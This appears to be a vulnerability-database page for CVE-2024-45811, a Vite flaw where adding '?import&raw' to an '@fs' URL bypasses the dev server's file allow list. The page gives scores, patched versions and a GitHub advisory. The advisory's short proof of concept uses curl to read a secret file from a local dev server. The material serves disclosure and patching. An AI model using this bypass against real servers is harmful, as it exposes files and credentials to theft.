Loading HuntDB...

CVE-2024-45811

MEDIUM
Published 2024-09-17T20:08:11.801Z
Actions:

Expert Analysis

Professional remediation guidance

Get tailored security recommendations from our analyst team for CVE-2024-45811. We'll provide specific mitigation strategies based on your environment and risk profile.

CVSS Score

V3.1
4.8
/10
CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.000
probability
of exploitation in the wild

There is a 0.0% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.132
Higher than 13.2% of all CVEs

Attack Vector Metrics

Attack Vector
ADJACENT_NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED

Impact Metrics

Confidentiality
HIGH
Integrity
NONE
Availability
NONE

Description

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed MODERATE

Vite's `server.fs.deny` is bypassed when using `?import&raw`

GHSA-9cwx-2883-4wfx

Advisory Details

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Affected Packages

npm vite
ECOSYSTEM: ≥5.4.0 <5.4.6
npm vite
ECOSYSTEM: ≥5.3.0 <5.3.6
npm vite
ECOSYSTEM: ≥5.2.0 <5.2.14
npm vite
ECOSYSTEM: ≥4.0.0 <4.5.4
npm vite
ECOSYSTEM: ≥0 <3.2.11
npm vite
ECOSYSTEM: ≥5.0.0 <5.1.8

CVSS Scoring

CVSS Score

5.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Advisory provided by GitHub Security Advisory Database. Published: September 17, 2024, Modified: September 19, 2024

References

Published: 2024-09-17T20:08:11.801Z
Last Modified: 2024-09-18T14:06:21.732Z
Copied to clipboard!